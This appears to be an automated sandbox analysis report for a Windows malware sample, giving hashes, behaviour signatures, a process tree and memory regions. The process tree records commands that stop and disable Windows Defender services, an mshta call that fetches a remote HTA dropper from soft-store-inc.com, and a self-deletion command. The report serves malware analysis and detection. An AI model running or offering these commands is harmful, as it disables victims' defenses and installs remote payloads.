Analysis

  • max time kernel
    150s
  • max time network
    99s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/09/2024, 06:13

General

  • Target

    eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe

  • Size

    2.3MB

  • MD5

    eabd3adb848cfe1843879142be96a2d7

  • SHA1

    8843f2b3e152add67c33f894d2456906ab4a3629

  • SHA256

    4c66076782018ccb966e7a509acb60d4c921a2bdcd86b2e385ab0362b570ef8b

  • SHA512

    411d35c02b7a814b2c96d7a4904c0c889f4c0aeda0e253370c09d632f12fdbe44ee310129851f363a4a1b83a0e99aa1ae890df81aa8be5e7355722a6479106e8

  • SSDEEP

    49152:e1ZWlkS3CWK0HieQs9QToFxQP09R4lPQ2r1CsHrpNxO8:e6lkS3Npirs2TAx5SNQA0kpy8

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://soft-store-inc.com/soft-usage/favicon.ico?0=1200&1=MKDTRXIT&2=i-s&3=72&4=9200&5=6&6=2&7=919041&8=1033

Signatures

  • Disables service(s) 3 TTPs
  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 16 IoCs
  • Stops running service(s) 4 TTPs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Launches sc.exe 6 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4752
    • C:\Windows\SysWOW64\sc.exe
      sc stop WinDefend
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:3412
    • C:\Windows\SysWOW64\sc.exe
      sc config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2044
    • C:\Windows\SysWOW64\net.exe
      net stop msmpsvc
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4392
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop msmpsvc
        3⤵
        • System Location Discovery: System Language Discovery
        PID:3212
    • C:\Windows\SysWOW64\sc.exe
      sc config msmpsvc start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:3488
    • C:\Users\Admin\AppData\Roaming\gjpubt.exe
      C:\Users\Admin\AppData\Roaming\gjpubt.exe
      2⤵
      • Modifies WinLogon for persistence
      • Event Triggered Execution: Image File Execution Options Injection
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3960
      • C:\Windows\SysWOW64\sc.exe
        sc stop WinDefend
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:412
      • C:\Windows\SysWOW64\sc.exe
        sc config WinDefend start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:2796
      • C:\Windows\SysWOW64\net.exe
        net stop msmpsvc
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2784
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop msmpsvc
          4⤵
          • System Location Discovery: System Language Discovery
          PID:3664
      • C:\Windows\SysWOW64\sc.exe
        sc config msmpsvc start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:3436
      • C:\Windows\SysWOW64\mshta.exe
        mshta.exe "http://soft-store-inc.com/soft-usage/favicon.ico?0=1200&1=MKDTRXIT&2=i-s&3=72&4=9200&5=6&6=2&7=919041&8=1033"
        3⤵
        • System Location Discovery: System Language Discovery
        PID:436
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\EABD3A~1.EXE" >> NUL
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4196

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\gjpubt.exe

    Filesize

    2.3MB

    MD5

    eabd3adb848cfe1843879142be96a2d7

    SHA1

    8843f2b3e152add67c33f894d2456906ab4a3629

    SHA256

    4c66076782018ccb966e7a509acb60d4c921a2bdcd86b2e385ab0362b570ef8b

    SHA512

    411d35c02b7a814b2c96d7a4904c0c889f4c0aeda0e253370c09d632f12fdbe44ee310129851f363a4a1b83a0e99aa1ae890df81aa8be5e7355722a6479106e8

  • memory/3960-61-0x0000000000400000-0x0000000000847000-memory.dmp

    Filesize

    4.3MB

  • memory/3960-64-0x0000000000400000-0x0000000000847000-memory.dmp

    Filesize

    4.3MB

  • memory/4752-0-0x0000000000400000-0x0000000000847000-memory.dmp

    Filesize

    4.3MB

  • memory/4752-1-0x0000000000EC0000-0x0000000000F1A000-memory.dmp

    Filesize

    360KB

  • memory/4752-3-0x0000000000A20000-0x0000000000A21000-memory.dmp

    Filesize

    4KB

  • memory/4752-9-0x0000000003680000-0x0000000003681000-memory.dmp

    Filesize

    4KB

  • memory/4752-8-0x0000000000EA0000-0x0000000000EA1000-memory.dmp

    Filesize

    4KB

  • memory/4752-7-0x0000000000E80000-0x0000000000E81000-memory.dmp

    Filesize

    4KB

  • memory/4752-6-0x0000000000E90000-0x0000000000E91000-memory.dmp

    Filesize

    4KB

  • memory/4752-5-0x0000000000E50000-0x0000000000E51000-memory.dmp

    Filesize

    4KB

  • memory/4752-4-0x0000000000A10000-0x0000000000A11000-memory.dmp

    Filesize

    4KB

  • memory/4752-2-0x0000000000A30000-0x0000000000A31000-memory.dmp

    Filesize

    4KB

  • memory/4752-25-0x0000000003680000-0x0000000003681000-memory.dmp

    Filesize

    4KB

  • memory/4752-24-0x0000000003670000-0x0000000003671000-memory.dmp

    Filesize

    4KB

  • memory/4752-23-0x0000000003670000-0x0000000003671000-memory.dmp

    Filesize

    4KB

  • memory/4752-21-0x0000000003670000-0x0000000003671000-memory.dmp

    Filesize

    4KB

  • memory/4752-22-0x0000000003670000-0x0000000003671000-memory.dmp

    Filesize

    4KB

  • memory/4752-20-0x0000000003680000-0x0000000003681000-memory.dmp

    Filesize

    4KB

  • memory/4752-19-0x0000000003680000-0x0000000003681000-memory.dmp

    Filesize

    4KB

  • memory/4752-18-0x0000000003680000-0x0000000003681000-memory.dmp

    Filesize

    4KB

  • memory/4752-17-0x0000000003680000-0x0000000003681000-memory.dmp

    Filesize

    4KB

  • memory/4752-16-0x0000000003680000-0x0000000003681000-memory.dmp

    Filesize

    4KB

  • memory/4752-15-0x0000000003680000-0x0000000003681000-memory.dmp

    Filesize

    4KB

  • memory/4752-14-0x0000000003680000-0x0000000003681000-memory.dmp

    Filesize

    4KB

  • memory/4752-13-0x0000000003680000-0x0000000003681000-memory.dmp

    Filesize

    4KB

  • memory/4752-12-0x0000000003680000-0x0000000003681000-memory.dmp

    Filesize

    4KB

  • memory/4752-11-0x0000000003680000-0x0000000003681000-memory.dmp

    Filesize

    4KB

  • memory/4752-10-0x0000000000E60000-0x0000000000E61000-memory.dmp

    Filesize

    4KB

  • memory/4752-26-0x0000000000F50000-0x0000000000F51000-memory.dmp

    Filesize

    4KB

  • memory/4752-46-0x0000000003670000-0x0000000003671000-memory.dmp

    Filesize

    4KB

  • memory/4752-45-0x0000000002840000-0x0000000002841000-memory.dmp

    Filesize

    4KB

  • memory/4752-44-0x0000000003670000-0x0000000003671000-memory.dmp

    Filesize

    4KB

  • memory/4752-43-0x0000000003680000-0x0000000003681000-memory.dmp

    Filesize

    4KB

  • memory/4752-42-0x0000000003680000-0x0000000003681000-memory.dmp

    Filesize

    4KB

  • memory/4752-41-0x0000000003680000-0x0000000003681000-memory.dmp

    Filesize

    4KB

  • memory/4752-40-0x0000000003680000-0x0000000003681000-memory.dmp

    Filesize

    4KB

  • memory/4752-39-0x0000000003680000-0x0000000003681000-memory.dmp

    Filesize

    4KB

  • memory/4752-38-0x00000000028E0000-0x00000000028E1000-memory.dmp

    Filesize

    4KB

  • memory/4752-37-0x0000000003680000-0x0000000003681000-memory.dmp

    Filesize

    4KB

  • memory/4752-36-0x00000000028D0000-0x00000000028D1000-memory.dmp

    Filesize

    4KB

  • memory/4752-35-0x0000000002890000-0x0000000002891000-memory.dmp

    Filesize

    4KB

  • memory/4752-34-0x00000000028A0000-0x00000000028A1000-memory.dmp

    Filesize

    4KB

  • memory/4752-33-0x00000000028B0000-0x00000000028B1000-memory.dmp

    Filesize

    4KB

  • memory/4752-32-0x0000000003670000-0x0000000003671000-memory.dmp

    Filesize

    4KB

  • memory/4752-31-0x0000000002870000-0x0000000002871000-memory.dmp

    Filesize

    4KB

  • memory/4752-30-0x0000000000F70000-0x0000000000F71000-memory.dmp

    Filesize

    4KB

  • memory/4752-29-0x0000000002850000-0x0000000002851000-memory.dmp

    Filesize

    4KB

  • memory/4752-28-0x0000000000F30000-0x0000000000F31000-memory.dmp

    Filesize

    4KB

  • memory/4752-27-0x0000000000F40000-0x0000000000F41000-memory.dmp

    Filesize

    4KB

  • memory/4752-47-0x0000000000400000-0x0000000000847000-memory.dmp

    Filesize

    4.3MB

  • memory/4752-50-0x0000000000EC0000-0x0000000000F1A000-memory.dmp

    Filesize

    360KB

  • memory/4752-55-0x00000000009F0000-0x00000000009F1000-memory.dmp

    Filesize

    4KB

  • memory/4752-56-0x0000000000A00000-0x0000000000A01000-memory.dmp

    Filesize

    4KB

  • memory/4752-54-0x0000000003660000-0x0000000003662000-memory.dmp

    Filesize

    8KB

  • memory/4752-53-0x0000000003670000-0x0000000003671000-memory.dmp

    Filesize

    4KB

  • memory/4752-52-0x0000000003680000-0x0000000003681000-memory.dmp

    Filesize

    4KB

  • memory/4752-51-0x0000000003670000-0x0000000003673000-memory.dmp

    Filesize

    12KB

  • memory/4752-49-0x0000000003670000-0x0000000003671000-memory.dmp

    Filesize

    4KB

  • memory/4752-48-0x0000000003670000-0x0000000003671000-memory.dmp

    Filesize

    4KB

  • memory/4752-63-0x0000000000EC0000-0x0000000000F1A000-memory.dmp

    Filesize

    360KB

  • memory/4752-62-0x0000000000400000-0x0000000000847000-memory.dmp

    Filesize

    4.3MB